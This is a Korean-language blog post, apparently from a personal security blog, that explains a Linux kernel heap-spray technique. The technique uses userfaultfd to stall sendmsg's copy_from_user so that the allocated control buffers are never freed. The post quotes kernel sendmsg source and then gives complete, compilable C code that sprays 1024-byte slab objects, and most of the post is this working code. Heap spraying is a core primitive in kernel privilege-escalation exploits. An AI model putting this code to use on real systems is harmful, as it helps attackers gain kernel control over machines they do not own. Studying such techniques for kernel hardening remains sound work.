본문 바로가기

system/linux kernel

linux kernel userfaultfd + sendmsg heapspray

linux kernel universal heap spray글에서 userfaultfd를 사용해서 페이지 폴트가 났을때 커널스레드가 sleep상태로 바뀌는걸 이용해서 힙스프레이를 뿌린다. (틀린부분 지적해주시면 감사하겠습니다!!)



sendmsg 시스콜 소스코드 일부


static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg, struct msghdr *msg_sys, unsigned int flags, struct used_address *used_address, unsigned int allowed_msghdr_flags) { struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct sockaddr_storage address; struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20] __aligned(sizeof(__kernel_size_t)); /* 20 is size of ipv6_pktinfo */ unsigned char *ctl_buf = ctl; int ctl_len; ssize_t err;                ......... } else if (ctl_len) { BUILD_BUG_ON(sizeof(struct cmsghdr) != CMSG_ALIGN(sizeof(struct cmsghdr))); if (ctl_len > sizeof(ctl)) { #1 ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); if (ctl_buf == NULL) goto out_freeiov; } err = -EFAULT; /* * Careful! Before this, msg_sys->msg_control contains a user pointer. * Afterwards, it will be a kernel pointer. Thus the compiler-assisted * checking falls down on this. */ #2 if (copy_from_user(ctl_buf,                                    (void __user __force *)msg_sys->msg_control, ctl_len)) goto out_freectl; msg_sys->msg_control = ctl_buf; } msg_sys->msg_flags = flags;                 ......... out_freectl: if (ctl_buf != ctl) #3 sock_kfree_s(sock->sk, ctl_buf, ctl_len); out_freeiov: kfree(iov); return err; }


sendmsg시스콜을 사용하면 #1, #2 부분으로 인해서 원하는 사이즈만큼의 메모리를 할당해서 데이터를 담을 수 있지만 #3부분에서 메모리를 해제하기 때문에 heap spray를 뿌리기 힘든데


이때, mem = mmap(NULL, 0x2000, ~~~) 과 같이 메모리를 할당하고, mem+0x1000부분에 접근할때 즉, 페이지사이즈가 0x1000단위임을 생각해서 다른 페이지에 접근할때 물리메모리가 할당되지 않았을때 pagefault가 발생하고, handle_userfault함수가 실행되면서 쓰레드가 wait 큐에 들어간다음 sleep상태로 바뀌는 것을 이용해서 #2에서 copy_from_user함수가 실행되는 중간에 sleep이 걸리면서 #3부분으로 가지않아 slab메모리를 해제하지않고 힙스프레이를 뿌릴 수 있다.


아래는 힙스프레이를 뿌리는 코드.

#define _GNU_SOURCE #include <mqueue.h> #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <errno.h> #include <sched.h> #include <malloc.h> #include <linux/userfaultfd.h> #include <arpa/inet.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/msg.h> #include <sys/wait.h> #define PAGESIZE 4096 #define PRESS_KEY() \ do { printf("[ ] press key to continue...\n"); getchar(); } while(0) struct write_vmem_args{ char *vaddr; size_t size; int fd; }; struct heap_spray_arg{ char *buf; size_t size; size_t sub_size; int fd; int page_count; }; static void* write_vmem(void *arg) { struct sockaddr_in addr; struct msghdr msg; struct write_vmem_args *wva = (struct write_vmem_args*)arg; memset(&addr, 0, sizeof(addr)); memset(&msg, 0, sizeof(msg)); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_family = AF_IRDA; addr.sin_port = htons(6666); msg.msg_control = wva->vaddr; msg.msg_controllen = wva->size; msg.msg_name = &addr; msg.msg_namelen = sizeof(addr); syscall(__NR_sendmsg, wva->fd, &msg, 0); return NULL; } static void* heap_spray(void *args) { int fd; struct heap_spray_arg *hsa = (struct heap_spray_arg*) args; if ((fd = syscall(__NR_userfaultfd, O_NONBLOCK)) == -1) { perror("userfaultfd"); goto fail; } struct uffdio_api api; memset(&api, 0, sizeof(api)); api.api = UFFD_API; if (ioctl(fd, UFFDIO_API, &api)) { perror("ioctl(fd, UFFD_API, &api)"); goto fail; } if (api.api != UFFD_API) { perror("unexcepted UFFD version"); goto fail; } void *pages; if ((pages = (void*)syscall(__NR_mmap, NULL, PAGESIZE * hsa->page_count, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { perror("pages = syscall(__mmap, NULL, ...)"); goto fail; } for (int i = 1; i < (hsa->page_count-4); i+=2) { //memcpy((char*)pages + (0x1000*i) - 0x10, hsa->buf, 0x10); memcpy((char*)pages + (0x1000*i) - hsa->sub_size, hsa->buf, hsa->sub_size); } struct uffdio_register reg; memset(&reg, 0, sizeof(reg)); reg.mode = UFFDIO_REGISTER_MODE_MISSING; reg.range.start = (unsigned long)pages; reg.range.len = PAGESIZE * hsa->page_count; if (ioctl(fd, UFFDIO_REGISTER, &reg)) { perror("ioctl(fd, UFFDIO_REGISTER, &reg"); goto fail; } if (reg.ioctls != UFFD_API_RANGE_IOCTLS) { perror("unexcepted UFFD ioctls"); goto fail; } pthread_t thread; struct write_vmem_args arg; for (int i = 1; i < (hsa->page_count-4); i+=2) { usleep(150); //printf("arg.vaddr = %p\n", (char*)pages + (0x1000*i) - 0x50); arg.vaddr = (char*)pages + (0x1000*i) - hsa->sub_size; arg.size = hsa->size; arg.fd = hsa->fd; if (pthread_create(&thread, NULL, write_vmem, &arg)) { perror("pthread_create(&thread, NULL, write_vmem, &arg"); goto fail; } } sleep(1000); return NULL; fail: exit(-1); } int main(int argc, char *argv[]) { int fd; struct heap_spray_arg hsa; char buf[1024]; memset(buf, 0x41, sizeof(buf)); if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0){ perror("fd =socket(AF_INET, SOCK_DGRAM, 0)"); goto out; } hsa.fd = fd; hsa.size = 1024; hsa.sub_size = 1024-0x10; hsa.buf = buf; hsa.page_count = 200; heap_spray((void*)&hsa); PRESS_KEY(); out: return 0; }






해당 코드를 컴파일해서 실행해보면 아래 사진과 같이 스프레이가 뿌려진다.